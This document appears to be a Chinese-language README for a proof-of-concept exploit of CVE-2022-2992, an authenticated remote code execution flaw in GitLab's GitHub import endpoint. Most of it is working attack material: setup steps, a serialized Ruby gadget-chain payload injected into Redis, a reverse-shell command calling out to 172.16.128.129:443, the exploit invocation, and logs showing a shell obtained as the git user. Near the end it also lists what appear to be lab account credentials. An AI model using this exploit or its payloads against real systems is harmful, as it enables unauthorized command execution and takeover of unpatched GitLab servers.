
通过GitHub导入在Gitlab中实现认证后的远程命令执行
通过 GitHub 导入在 GitLab 中实现经过身份验证的远程命令执行。
影响自 11.10 至 15.1.6 之前所有版本、自 15.2 至 15.2.4 之前所有版本、自 15.3 至 15.3.2 之前所有版本的 GitLab CE/EE 漏洞,允许经过身份验证的用户通过“从 GitHub API 导入”端点实现远程代码执行。
sudo apt install ruby python3 python3-pip
gem install redis
pip install flask
1)运行 ./ngrok http 5000 并保存 URL。
2)现在运行 payload_gen.rb 生成序列化载荷并保存。示例如下:
ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'
3)在 server.py 中更新 NGROK_URL 和 PAYLOAD 变量。示例如下:
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'
4)在 gitlab 上为用户创建访问令牌并选择所有范围。请阅读文档 此处。 5)最后运行我们的 exploit.py。
注意:运行前确保 ngrok 和 flask 服务器正在运行。
python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example
➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)
POST /vakzz/public.git/git-upload-pack 200 OK
GET /vakzz/public.git/info/refs 200 OK
GET /api/v3/repos/fake/name 200 OK
GET /api/v3/repositories/12345 200 OK
GET /api/v3/rate_limit 200 OK
GET /api/v3/rate_limit 200 OK
[1] 创建组
[+] 成功创建组:qogjohpykk
[2] 运行 flask 服务器
[3] 导入 GitHub 仓库
* 服务 Flask 应用 "server"(懒加载)
* 环境:production
警告:这是一个开发服务器。请勿在生产部署中使用它。
请改用生产 WSGI 服务器。
* 调试模式:off
* 运行在 http://0.0.0.0:5000/(按 CTRL+C 退出)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] 触发载荷
[+] 命令已执行
/ 目录下。用户名:enox
邮箱:[email protected]
密码:StrongestGitlabPassword
如有疑问,请通过 Discord 联系我 (Enox#4458)